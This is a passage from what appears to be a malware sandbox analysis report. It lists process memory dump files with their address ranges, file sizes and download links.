                  • memory/3348-328-0x0000000063280000-0x00000000634BE000-memory.dmp

                    Filesize

                    2.2MB

                    Download

                  • memory/3348-329-0x000000006E600000-0x000000006E69D000-memory.dmp

                    Filesize

                    628KB

                    Download

                  • memory/3348-330-0x000000000B490000-0x000000000BA31000-memory.dmp

                    Filesize

                    5.6MB

                    Download

                  • memory/3348-331-0x000000000B490000-0x000000000BA31000-memory.dmp

                    Filesize

                    5.6MB

                    Download

                  • memory/3348-335-0x000000000B490000-0x000000000BA31000-memory.dmp

                    Filesize

                    5.6MB

                    Download

                  • memory/3348-336-0x000000000B490000-0x000000000BA31000-memory.dmp

                    Filesize

                    5.6MB

                    Download

                  • memory/3348-334-0x000000000B490000-0x000000000BA31000-memory.dmp

                    Filesize

                    5.6MB

                    Download

                  • memory/4440-2132-0x00000000008A0000-0x000000000096A000-memory.dmp

                    Filesize

                    808KB

                    Download

                  • memory/4440-2180-0x0000000008C30000-0x0000000008CBE000-memory.dmp

                    Filesize

                    568KB

                    Download

                  • memory/4440-2030-0x0000028F546D0000-0x0000028F546F2000-memory.dmp

                    Filesize

                    136KB

                    Download

                  • memory/4596-464-0x0000000000400000-0x00000000004BE000-memory.dmp

                    Filesize

                    760KB

                    Download

                  • memory/4616-2165-0x0000000007050000-0x00000000070F3000-memory.dmp

                    Filesize

                    652KB

                    Download

                  • memory/4616-2155-0x0000000070770000-0x00000000707BC000-memory.dmp

                    Filesize

                    304KB

                    Download

                  • memory/4616-2154-0x0000000005F00000-0x0000000005F4C000-memory.dmp

                    Filesize

                    304KB

                    Download

                  • memory/4616-2153-0x0000000005A00000-0x0000000005D57000-memory.dmp

                    Filesize

                    3.3MB

                    Download

                  • memory/4624-1945-0x0000000007050000-0x000000000706A000-memory.dmp

                    Filesize

                    104KB

                    Download

                  • memory/4624-1944-0x0000000007690000-0x0000000007D0A000-memory.dmp

                    Filesize

                    6.5MB

                    Download

                  • memory/4624-1932-0x000000006B290000-0x000000006B2DC000-memory.dmp

                    Filesize

                    304KB

                    Download

                  • memory/4624-1931-0x00000000062D0000-0x0000000006302000-memory.dmp

                    Filesize

                    200KB

                    Download

                  • memory/4624-1930-0x0000000005D30000-0x0000000005D7C000-memory.dmp

                    Filesize

                    304KB

                    Download

                  • memory/4624-1914-0x0000000002340000-0x0000000002376000-memory.dmp

                    Filesize

                    216KB

                    Download

                  • memory/4624-1929-0x0000000005CE0000-0x0000000005CFE000-memory.dmp

                    Filesize

                    120KB

                    Download

                  • memory/4624-1927-0x0000000005840000-0x0000000005B97000-memory.dmp

                    Filesize

                    3.3MB

                    Download

                  • memory/4624-1926-0x00000000057D0000-0x0000000005836000-memory.dmp

                    Filesize

                    408KB

                    Download

                  • memory/4624-1942-0x0000000006EE0000-0x0000000006EFE000-memory.dmp

                    Filesize

                    120KB

                    Download

                  • memory/4624-1947-0x00000000072C0000-0x0000000007356000-memory.dmp

                    Filesize

                    600KB

                    Download

                  • memory/4624-1943-0x0000000006F10000-0x0000000006FB3000-memory.dmp

                    Filesize

                    652KB

                    Download

                  • memory/4624-1946-0x00000000070B0000-0x00000000070BA000-memory.dmp

                    Filesize

                    40KB

                    Download

                  • memory/4624-1915-0x0000000005000000-0x00000000056CA000-memory.dmp

                    Filesize

                    6.8MB

                    Download

                  • memory/4624-1916-0x0000000004EB0000-0x0000000004ED2000-memory.dmp

                    Filesize

                    136KB

                    Download

                  • memory/4684-1986-0x000000001BB90000-0x000000001BB9A000-memory.dmp

                    Filesize

                    40KB

                    Download

                  • memory/4684-691-0x000000001CD50000-0x000000001CDF6000-memory.dmp

                    Filesize

                    664KB

                    Download

                  • memory/4684-689-0x000000001BB80000-0x000000001BB8A000-memory.dmp

                    Filesize

                    40KB

                    Download

                  • memory/4696-1957-0x0000000006B30000-0x0000000006B80000-memory.dmp

                    Filesize

                    320KB

                    Download

                  • memory/4696-1913-0x0000000000400000-0x0000000000448000-memory.dmp

                    Filesize

                    288KB

                    Download

                  • memory/4696-1956-0x0000000006CB0000-0x0000000006E72000-memory.dmp

                    Filesize

                    1.8MB

                    Download